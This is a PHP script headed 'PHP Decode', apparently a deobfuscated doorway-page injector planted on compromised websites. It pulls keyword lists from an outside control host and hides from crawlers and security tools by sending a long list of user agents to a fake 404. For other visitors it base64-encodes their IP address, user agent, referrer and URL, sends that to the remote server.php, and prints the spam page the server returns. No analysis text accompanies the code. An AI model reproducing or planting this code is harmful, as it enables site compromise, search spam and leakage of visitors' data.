PHP Decode

?><?php
error_reporting(0);

$sff		=	@$_SERVER['HTTP_X_FORWARDED_FOR'];
$sra		=	@$_SERVER['REMOTE_ADDR'];

if(!empty($sff))
{
	$sip = $sff;
}
else
{
	$sip = $sra;
}

define('DOR','http://www.search-info.org/newest/');
define('AGENT',strtolower(@$_SERVER['HTTP_USER_AGENT']));
define('IP',$sip);
define('HOST',gethostbyaddr(IP));

$scheme		=	4;

$parameter	=	@$_SERVER['QUERY_STRING'];
$params		=	explode('=',$parameter);
$port_key		=	$params[0];

$dirpath		=	dirname(__FILE__).'/';
$protocol		=	strpos(strtolower(@$_SERVER['SERVER_PROTOCOL']),'https') === FALSE ? 'http' : 'https';
$host		=	@$_SERVER['HTTP_HOST'];
$script		=	@$_SERVER['REQUEST_URI']; 
$home		=	$protocol . '://' . $host . $script;
$currentUrl	=	$host;

$kkk			=	DOR."{$scheme}/keywords.txt";

$ports		=	array('ln','pd','csh');

if(isset($_SERVER['HTTP_REFERER']))
{
    $ref = strtolower($_SERVER['HTTP_REFERER']);
}
else 
{ 
    $ref = 'NO';
}

function strpos_array($string, $values) 
{
	$hits = 0;
	foreach ($values as $tr)
	{
		$pos = strpos($string, $tr);
		if ($pos !== false)
		{
			$hits++;
		}
	}
	if ($hits==0)
	{
		return false;
	}
	else
	{
		return true;
	}
}
function SearchArray($search,$array) {
        
	foreach($array as $item)
	{
		if(preg_match("/{$search}/i", $item))
		{
			return true;
		}
		else return false;
	}
}

function _get($url)
{
	if(@ini_get('allow_url_fopen') == true)
	{
		$out = @file_get_contents($url);
	}
	else if(function_exists('curl_init'))
	{
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		$out = curl_exec($ch);
		if (curl_errno($ch) !== 0) $out = false;
		curl_close($ch);
	}
	return trim($out);
}

$kkk_ar = _get($kkk);
$kkk_ar = explode("
",$kkk_ar);
$kkk_ar = array_map('trim',$kkk_ar);
$rss_arr = array('rss_feed','xml_feed','rssfeed','rssfeeds','feeds');

$script = explode('/',$script);

foreach($script as $item)
{
	$item = str_replace('-',' ',$item);
	$item = urldecode($item);
	if(strpos_array($item,$kkk_ar))
	{
		$scr = $item;
	}
	elseif(strpos_array($item,$rss_arr))
	{
		$scr = $item;
	}
}

$uabadbot = array('!susie','$x0E','%00','%0A','%0D','%27','%3C','%3E','&lt;?','@$x','_irc','_works','+select+','+union+','<','>','1,1,1,','3gse','4all','4anything','5.1; xv6875)','59.64.153.','85.17.','88.0.106.','a_browser','a1 site','abac','abby','aberja','abilon','abont','abot','aboutoil','accept','access','aceftp','acme','active','address','adopt','adress','advisor','agent','ahead','ahref','aihit','aipbot','alarm','albert','alek','alexa toolbar; (r1 1.5)','alltop','alma','alot','alpha','america online browser 1.1','amfi','anal','andit','anon','ansearch','answer','antivirx','apollo','appie','arach','archive','arian','asps','aster','atari','atlocal','atom','atrax','atrop','attrib','autoh','autohot','av fetch','avsearch','axod','axon','baboom','baby','back','backdoorbot','baid','bali','bandit','barry','basichttp','batch','bdfetch','beat','beaut','become','bee','beij','betabot','biglotron','bilgi','binlar','bison','bitacle','bitly','black hole','blaiz','blitz','blogl','blogscope','blogzice','bloob','blow','bond','bord','boris','bost','bot.ara','botalot','botje','botw','bpimage','brand','brok','broth','browseabit','browsex','bruin','bsalsa','bsdseek','built','bulls','bumble','bunny','busca','busi','buy','bwh3','cafek','cafi','camel','cand','captu','casper','catch','ccbot','ccubee','cd34','ceg','cegbfeieh','cfnetwork','cgichk','cha0s','chang','chaos','char','chase x','check','cheesebot','chek','cherry','chill','chttpclient','cipinet','cisco','cita','citeseer','clam','claria','claw','cloak','clshttp','clush','cmsworldmap','coast','code.com','cogent','coldfusion','coll','comb','comment','common','comodo','compan','compatible-','conc','conduc','contact','control','contype','conv','cool','copi','copy','copyrightcheck','coral','corn','cosmos','costa','cowbot','cr4nk','craft','cralwer','crawl','crank','crap','crazy','cres','cs-cz','cshttp','cuill','CURI','curl','curry','custo','cute','cyber','cz3','czx','daily','dalvik','daobot','dark','darwin','data','daten','dcbot','dcs','dds explorer','deep','deps','detect','dex','diam','diavol','diibot','dillo','ding','disc','disp','ditto','dlc','doco','dotbot','drag','drec','dsdl','dsok','dts','duck','dumb','eag','earn','earthcom','easydl','ebin','echo','edco','egoto','elnsb5','email','emer','empas','encyclo','enfi','enhan','enterprise_search','envolk','erck','erocr','eventax','evere','evil','ewh','exac','exploit','expre','extra','extractorpro','eyen','fang','fast','faxo','fdse','feed','fetch','filan','fileboo','fimap','find','firebat','firedownload','firefox/0','firs','flam','flash','flexum','flicky','flip','fly','focus','foobot','fooky','forum','forv','fost','foto','foun','fount','foxy','free','friend','frontpage','fuck','fuer','futile','fyber','gais','galbot','gbpl','gecko/2001','gecko/2002','gecko/2006','gecko/2009042316','gener','geni','geo','geona','geth','getr','getw','ggl','gira','gluc','gnome','go!zilla','goforit','goldfire','gonzo','google wireless','gosearch','got-it','gozilla','grab','graf','greg','grub','grup','gsearch','gt::www','guidebot','guruji','gyps','haha','hailo','harv','hash','hatena','hax','head','helm','herit','hgre','hippo','hloader','hmse','hmview','holm','holy','hotbar','hpprint','hrefs','httpclient','httpconnect','httplib','httrack','human','huron','hverify','hybrid','hyper','iaskspi','ibm evv','iccra','ichiro','icopy','ics)','ida','ie/5.0','ieauto','iempt','iexplore.exe','ilium','ilse','iltrov','indexer','indy','ineturl','infonav','infonavirobot','innerpr','inspect','insuran','intellig','interget','intraf','ip2','ipsel','irlbot','isc_sys','isilo','isspi','jady','jaka','jam','jenn','jet','jiro','jobo','joc','jupit','just','jyx','jyxo','kash','kazo','kbee','kenjin','kernel','keywo','kfsw','kkma','kmc','know','kosmix','krae','krug','ksibot','ktxn','kum','labs','lanshan','lapo','larbin','leech','lets','lexi','lexibot','lexxe','libby','libc','libfetch','libw','light','linc','lingue','link','lint','list','litefeeds','livedoor','livejournal','liveup','lmq','loader','locu','london','lone','loop','lork','lth_','lwp','mac_f','magi','magp','mail.ru','main','majest','mam','mama','mana','marketwire','masc','mass','mata','mcbot','mecha','metadata','metalogger','metaspin','metauri','mete','mib/2.2','microsoft url control','microsoft.url','mido','miggi','miix','mindjet','mindman','miner','mips','mira','mire','miss','mist','mizz','mj12','mlbot','mlm','mnog','moge','moje','mooz','more','mouse','mozdex','mozilla/0','mozilla/1','mozilla/4.61 [en]','mozilla/firefox','mpf','msie 2','msie 3','msie 4','msie 5','msie 6.0-','msie 6.0b','msie 7.0a1;','msie 7.0b;','msie6xpv1','msnptc','msproxy','msrbot','musc','mvac','mvi','mwm','my_age','myapp','mydog','myeng','myie2','mysearch','myurl','nag','name','navr','near','netants','netcach','netfront','netinfo','netmech','netsp','netx','netz','neural','neut','newsbreak','newsgatorinbox','newsrob','newt','next','ng/2','ng-s','nice','nikto','nimb','ninja','ninte','nog','noko','nomad','norb','note','npbot','nuse','nutch','nutex','nwsp','obje','ocel','octo','odi3','oegp','offby','offline','omea','omg','omhttp','onfo','onyx','openf','openssl','openu','opera 2','opera 3','opera 4','opera 5','opera 6','opera 7','orac','orbit','oreg','osis','our','outf','owl','p3p_','page2rss','pagefet','pansci','parser','patw','pavu','pb2pb','pcbrow','pear','peer','pepe','perfect','perl','petit','phoenix','phras','picalo','piff','pig','pingd','pipe','pirs','plag','planet','plant','platform','playstation','plesk','pluck','plukkie','poe-com','poirot','pomp','post','postrank','powerset','preload','press','privoxy','probe','program_shareware','propowerbot','protect','protocol','prowebwalker','prowl','proxie','proxy','psbot','pubsub','puf','pulse','punit','purebot','purity','pyq','pyth','query','quest','qweer','radian','rambler','ramp','rapid','rawdog','rawgrunt','reap','reeder','refresh','reget','relevare','repo','requ','rese','retrieve','rip','rix','rma','roboz','rocket','rogue','rpt-http','rsscache','ruby','ruff','rufus','rv:0.9.7)','salt','sample','sauger','savvy','sbcyds','sbider','sblog','sbp','scagent','scan','scej_','sched','schi','schmo','scorp','scott','scout','screen','script','seamonkey','search17','searchbot','searchme','sega','semto','sensis','seop','seopro','sept','share','sharp','shaz','shell','shelo','sherl','shim','shopwiki','silurian','simple','simplepie','siph','sitekiosk','sitescan','sitesnagger','sitevigil','sitex','skam','skimp','skygrid','sledink','sleip','slide','sly','smag','smurf','snag','snapbot','snapshot','snif','snip','snoop','sock','socsci','sogou','sohu','solr','some','spad','span','spbot','speed','sphere','spin','sproose','spurl','sputnik','spyder','squi','sqwid','sqworm','ssm_ag','stack','stamp','statbot','state','steel','stilo','strateg','stress','strip','style','subot','such','suck','sume','sunos 5.7','sunrise','superbot','superbro','supervi','surf4me','surfbot','survey','susi','suza','suzu','sweep','swish','sygol','synapse','sync2it','systems','szukacz','tagger','tagoo','tagyu','take','talkro','tamu','tandem','tarantula','tbot','tcf','tcs/1','teamsoft','tecomi','teesoft','teleport','telesoft','tencent','terrawiz','test','texnut','the intraformant','thenomad','thomas','tiehttp','tighttwatbot','timebot','timely','tipp','tiscali','titan','tmhtload','todobr','tongco','toolbar; (r1','topic','topyx','torrent','track','translate','traveler','treeview','tricus','trivia','true','tunnel','turing','turingos','turnitin','tutorgig','twat','tweak','twice','tygo','ubee','uchoo','ultraseek','unavail','unf','universal','unknown','upg1','urlbase','urllib','urly','useragent','user-agent:','usyd','vagabo','valet','vamp','vci','veri~li','verif','versus','via','vikspider','virtual','visual','void','voyager','vsyn','w0000t','w3search','walhello','walker','wand','waol','watch','wavefire','wbdbot','weather','web image collector','web.ima','web2mal','webarchive','webauto','webbandit','webbot','webcat','webcopier','webcor','webcrawl','webdat','webdup','webenhancer','webgo','webind','webis','webitpr','weblea','webmasterworldforumbot','webmin','webmoney','webp','webql','webrobot','websauger','website quester','webster','webstripper','websurf','webtre','webvac','webzip','wells','wep_s','wget','whiz','widow','win67','windows 2000','windows 3','windows 95','windows 98','windows ce','windows me','windows-rss','winht','winodws','wish','wizz','worio','works','world','worth','wwwc','www-collector-e','wwwo','wwwster','xaldon','xbot','xenu','xirq','y!tunnel','yacy','yahoo-mmaudvid','yahooseeker','yahooysmcm','yamm','yang','yoono','yori','yotta','yplus ','ytunnel','zade','zagre','zeal','zebot','zerx','zeus','zhuaxia','zipcode','zixy','zmao','zmeu','zune');

if(strpos_array(AGENT, $uabadbot) !== false)
{
	header("HTTP/1.0 404 Not Found");
	header("HTTP/1.1 404 Not Found");
	header("Location: {$protocol}://{$host}");
	exit;
}
elseif(isset($_GET[$port_key]) && strpos_array($port_key, $ports))
{
	$keyword = $_GET[$port_key];
	$keyword = str_replace(' ','-',$keyword);

	if (strpos(strtolower($_SERVER['SCRIPT_NAME']),'index'))
	{
		$dorpath = rtrim(dirname($_SERVER['SCRIPT_NAME']), '/\').'/';
	}
	else 
	{
		$dorpath = $_SERVER['SCRIPT_NAME'];
	}

	if ( function_exists( 'date_default_timezone_set' ) )
	{
		date_default_timezone_set( 'UTC' );
	}
	$date = date('d.m.Y H:i:s');
	$statistics = $date.'::'.IP.'::'.AGENT.'::'.$ref.'::'.$home.'::';
	$st = strtr(base64_encode($statistics),'=','-');

	header('Content-type: text/html; charset=utf-8');
	print _get(DOR."server.php?currentURL=$currentUrl&port_key=$port_key&$port_key=$keyword&server=".@$_SERVER['SERVER_NAME']."&dorpath=$dorpath&scheme=$scheme&stat=$st");
	exit;
}
elseif(isset($scr))
{
	$keyword = str_replace(' ','-',$scr);

	if (strpos(strtolower($_SERVER['SCRIPT_NAME']),'index'))
	{
		$dorpath = rtrim(dirname($_SERVER['SCRIPT_NAME']), '/\').'/';
	}
	else 
	{
		$dorpath = $_SERVER['SCRIPT_NAME'];
	}
    
	if ( function_exists( 'date_default_timezone_set' ) )
	{
		date_default_timezone_set( 'UTC' );
	}
	$date = date('d.m.Y H:i:s');
	$statistics = $date.'::'.IP.'::'.AGENT.'::'.$ref.'::'.$home.'::';
	$st = strtr(base64_encode($statistics),'=','-');
	
	header('Content-type: text/html; charset=utf-8');
	print _get(DOR."server.php?currentURL=$currentUrl&port_key=$keyword&server=".@$_SERVER['SERVER_NAME']."&dorpath=$dorpath&scheme=$scheme&stat=$st");
	exit;
}
?>